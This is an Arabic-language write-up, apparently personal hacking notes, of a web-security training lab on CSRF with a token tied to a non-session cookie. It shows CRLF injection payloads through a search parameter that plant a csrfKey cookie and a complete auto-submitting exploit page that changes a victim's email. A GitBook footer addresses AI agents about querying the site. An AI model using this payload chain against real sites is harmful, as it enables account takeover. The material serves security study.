> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-token-tied-to-non-session-cookie.md).

# CSRF مع رمز مميز مرتبط بملف تعريف ارتباط ولكن ليس بالجلسة

### CSRF حيث يكون الرمز مرتبطًا بملف تعريف ارتباط غير مرتبط بالجلسة

ميزة تغيير البريد الإلكتروني عرضة لهجوم CSRF. وهي تستخدم الكوكيز، لكنها ليست مدمجة بالكامل في آلية الجلسة. الحسابات المتاحة: `wiener:peter` و `carlos:montoya`.

### الفكرة الرئيسية

* هناك `csrfKey` و `CSRF` معلمة الاستعلام لتغيير البريد الإلكتروني. كلا القيمتين "متزامنتان"، لكن **غير مرتبطتين بالجلسة**.

<figure><img src="/files/8746795c9013b838431062f36c0a090fe3c66a91" alt=""><figcaption></figcaption></figure>

* بنَسخ الزوج (`csrfKey`, `CSRF`) من حساب إلى آخر، يمكن للمرء تغيير البريد الإلكتروني لأحد الضحايا **دون** أن يكون مرتبطًا بجلسته.
* يحفظ حقل البحث آخر بحث في ملف تعريف ارتباط للجلسة (`last searchTerm`).

<figure><img src="/files/e7db707e808c3a288f04262c01233adea8595f88" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d61956d1246ab2db24c029005332aea7dde7aabe" alt=""><figcaption></figcaption></figure>

#### تقني (حقن CRLF عبر البحث)

* يمكن للمرء **حقن رؤوس** عبر البحث لإجبار المتصفح على تعيين ملف تعريف ارتباط عشوائي.

سلسلة بسيطة مثل `hello csrfKey=aZCI...` لا تُفسَّر.

```
hello csrfKey=aZCI65XauInHYlpP2MXHzMAssSvvyn74
```

<figure><img src="/files/32ed53a7ddd763c5bde8c357e2da1ab064a1f5c4" alt=""><figcaption></figcaption></figure>

من ناحية أخرى، مع **رجوع العربة + قفزة السطر** (`/r` = `%0d`, `/n` = `%0a`):

```
man ascii
```

<figure><img src="/files/f63b935dd1e709ee7840dba1bd710fb7242fd771" alt=""><figcaption></figcaption></figure>

مثال عملي:

<figure><img src="/files/cd404dffdcf7e5b1697b228db16cc06e1a9d9438" alt=""><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=a
```

→ يُفسَّر على أنه **Set-Cookie** على جانب الإجابة.

<figure><img src="/files/8547c7aab9127c058f48a4c957de08b284bb3c3c" alt=""><figcaption></figcaption></figure>

لسياق عبر المواقع، حدِّد `SameSite=none` حتى يرافق ملف تعريف الارتباط الاستعلام التالي بعد الاستغلال.

مثال (في شريط العنوان/البحث):

{% code overflow="wrap" %}

```
hello%0d%0aSet-Cookie:%20csrfKey%3dGI0PraUBw0m976F6vn51dbYYzh6EtwvZ%3b%20SameSite%3dnone

hello
Set-Cookie: csrfKey=GI0PraUBw0m976F6vn51dbYYzh6EtwvZ; SameSite=none
```

{% endcode %}

### المشغّل المستضاف

1. **فرض** الـ `csrfKey` ملف تعريف الارتباط في الضحية عبر طلب صورة إلى صفحة البحث (التي تعيد كتابة الترويسة):

```html
<form class="login-form" name="change-email-form" action="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/my-account/change-email" method="POST">
      <input "hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="GI0PraUBw0m976F6vn51dbYYzh6EtwvZ">
</form>

<img  src="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrfKey%3d9Okbeh77JZpcZA9ObPqnLuR95v3L40oc%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-token-tied-to-non-session-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
